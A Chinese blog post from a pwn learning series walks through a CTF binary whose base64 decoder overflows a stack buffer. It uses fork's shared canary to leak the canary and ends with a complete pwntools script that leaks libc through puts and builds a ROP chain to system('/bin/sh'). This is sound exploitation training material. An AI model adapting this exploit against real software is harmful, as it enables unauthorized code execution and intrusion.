Pwn学习总结(8):Canary泄露

实验平台:

x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-154-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/Canary/pwn100

首先,checksec pwns

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

需要解决Canary问题,我们拖进IDA里看看。

int __cdecl main()
{
  char v1; // [esp+1Bh] [ebp-5h]
  __pid_t v2; // [esp+1Ch] [ebp-4h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("I am a simple program");
  while ( 1 )
  {
    puts("\nMay be I can know if you give me some data[Y/N]");
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != 10 && v1 )
      ;
    v2 = fork();
    if ( !v2 )
    {
      sub_8048B29();
      puts("Finish!");
      exit(0);
    }
    if ( v2 <= 0 )
    {
      if ( v2 == -1 )
      {
        puts("Something Wrong");
        exit(0);
      }
    }
    else
    {
      wait(0);
    }
  }
  return 0;
}

unsigned int sub_8048B29()
{
  return sub_80487E6();
}

unsigned int sub_80487E6()
{
  char *v0; // edx
  unsigned int v1; // ebx
  char *v2; // edi
  char *v3; // edx
  int v4; // eax
  int v5; // eax
  int v6; // eax
  unsigned __int8 i; // [esp+17h] [ebp-121h]
  unsigned __int8 j; // [esp+17h] [ebp-121h]
  unsigned __int8 k; // [esp+17h] [ebp-121h]
  unsigned __int8 l; // [esp+17h] [ebp-121h]
  int v12; // [esp+18h] [ebp-120h]
  int v13; // [esp+1Ch] [ebp-11Ch]
  int v14; // [esp+1Ch] [ebp-11Ch]
  int v15; // [esp+1Ch] [ebp-11Ch]
  char *dest; // [esp+20h] [ebp-118h]
  unsigned __int8 s; // [esp+27h] [ebp-111h] BYREF
  unsigned __int8 v18; // [esp+28h] [ebp-110h]
  unsigned __int8 v19; // [esp+29h] [ebp-10Fh]
  unsigned __int8 v20; // [esp+2Ah] [ebp-10Eh]
  char v21[257]; // [esp+2Bh] [ebp-10Dh] BYREF
  unsigned int v22; // [esp+12Ch] [ebp-Ch]

  v22 = __readgsdword(0x14u);
  dest = (char *)malloc(0x201u);
  v0 = v21;
  v1 = 257;
  if ( ((unsigned __int8)v21 & 1) != 0 )
  {
    v21[0] = 0;
    v0 = &v21[1];
    v1 = 256;
  }
  if ( ((unsigned __int8)v0 & 2) != 0 )
  {
    *(_WORD *)v0 = 0;
    v0 += 2;
    v1 -= 2;
  }
  memset(v0, 0, 4 * (v1 >> 2));
  v2 = &v0[4 * (v1 >> 2)];
  v3 = v2;
  if ( (v1 & 2) != 0 )
  {
    *(_WORD *)v2 = 0;
    v3 = v2 + 2;
  }
  if ( (v1 & 1) != 0 )
    *v3 = 0;
  sub_80486FD(dest, 0x200u);
  v12 = 0;
  v13 = 0;
  while ( dest[v12] )
  {
    memset(&s, 255, 4u);
    for ( i = 0; i <= 0x3Fu; ++i )
    {
      if ( off_804A050[i] == dest[v12] )
        s = i;
    }
    for ( j = 0; j <= 0x3Fu; ++j )
    {
      if ( off_804A050[j] == dest[v12 + 1] )
        v18 = j;
    }
    for ( k = 0; k <= 0x3Fu; ++k )
    {
      if ( off_804A050[k] == dest[v12 + 2] )
        v19 = k;
    }
    for ( l = 0; l <= 0x3Fu; ++l )
    {
      if ( off_804A050[l] == dest[v12 + 3] )
        v20 = l;
    }
    v4 = v13;
    v14 = v13 + 1;
    v21[v4] = (v18 >> 4) & 3 | (4 * s);
    if ( dest[v12 + 2] == 61 )
      break;
    v5 = v14;
    v15 = v14 + 1;
    v21[v5] = (v19 >> 2) & 0xF | (16 * v18);
    if ( dest[v12 + 3] == 61 )
      break;
    v6 = v15;
    v13 = v15 + 1;
    v21[v6] = v20 & 0x3F | (v19 << 6);
    v12 += 4;
  }
  printf("Result is:%s\n", v21);
  return __readgsdword(0x14u) ^ v22;
}

ssize_t __cdecl sub_80486FD(char *dest, size_t nbytes)
{
  ssize_t i; // [esp+14h] [ebp-14h]
  char *buf; // [esp+18h] [ebp-10h]
  ssize_t v5; // [esp+1Ch] [ebp-Ch]

  buf = (char *)malloc(nbytes + 1);
  puts("Give me some datas:\n");
  v5 = read(0, buf, nbytes);
  for ( i = 0; i < v5 && (isalnum(buf[i]) || buf[i] == 61 || buf[i] == 43 || buf[i] == 47); ++i )
    ;
  buf[i] = 0;
  if ( (i & 3) != 0 )
  {
    puts("Something is wrong\n");
    exit(0);
  }
  strncpy(dest, buf, nbytes);
  return i;
}

可以看出,程序的主要代码集中在sub_80487E6,这么复杂我一点都不想看代码是什么意思。所以需要注意去看属于该函数的readonly data,看看是否能看出什么猫腻。

果不其然,off_804A050指针指向了一串字符串ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/。聪明的你能够联想到什么呢?

应该是base64!不是加密就是解密。我试了一下,一看就不是加密。从网上找了个base64加密随便输点东西进去,把encode的内容放进程序里decode成功了。因此是base64decode。

程序调用sub_80486FD做输入,限制base64的输入大小是0x200u。栈溢出的利用点发生在sub_80487E6中,base64解密直接把字符串放在栈的buffer上并且没检查边界。但是这道题因为有canary,所以我们还需要泄露Canary。

这道题故意在这里留了一个口子,它使用fork创建子进程执行用户的输入,并且还是循环fork。而fork创建出来的程序,canary值是相同的,这给我们留下了可乘之机。我们借助128行的printf把Canary泄露出来,然后泄露libc基址,调system即可。

这里需要注意的是,可能是Stack-Protector的设计者,为避免Canary的泄露,特意把Canary的低8位设为全零,因此覆盖栈的时候要多覆盖一个byte。相应从输出中取得Canary值的时候要把这个byte减去。详细可见代码。

最终answer.py如下:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64
context(arch = "i386",os = "linux", log_level = "debug")

p = process('./pwns')
elf = ELF('./pwns')

# Canary Leak
p.recvuntil("May be I can know if you give me some data[Y/N]\n")
confirm = "Y"
p.sendline(confirm)
p.recvuntil("Give me some datas:\n\n")

canary_payload = 257*'0' + '0'
canary_payload = base64.b64encode(canary_payload)
p.sendline(canary_payload)
p.recv(0x10b)
canary_value = u32(p.recv(4)) - 0x30
print("Canary: " + hex(canary_value))

# puts .got address leak
p.recvuntil("May be I can know if you give me some data[Y/N]\n")
p.sendline(confirm)
p.recvuntil("Give me some datas:\n\n")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
b64decode_func = 0x080487e6
puts_leak_payload = 257*'\x00' + p32(canary_value) + 8*'0' + p32(0) + p32(puts_plt) + p32(b64decode_func) + p32(puts_got)
puts_leak_payload = base64.b64encode(puts_leak_payload)
p.sendline(puts_leak_payload)

p.recvuntil("Result is:\n")
puts_libc = u32(p.recv(4))

# Query LibcSearcher
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
system_libc = libc_base + libc.dump('system')
binsh_libc = libc_base + libc.dump('str_bin_sh')

# ROP to Shell
retn_addr = 0x08048c27
p.recvuntil("Give me some datas:\n\n")
shell_payload = 257*'\x00' + p32(canary_value) + 8*'0' + p32(0) + p32(system_libc) + p32(b64decode_func) + p32(binsh_libc)
shell_payload = base64.b64encode(shell_payload)
p.sendline(shell_payload)

p.interactive()

成功:

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78681846

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注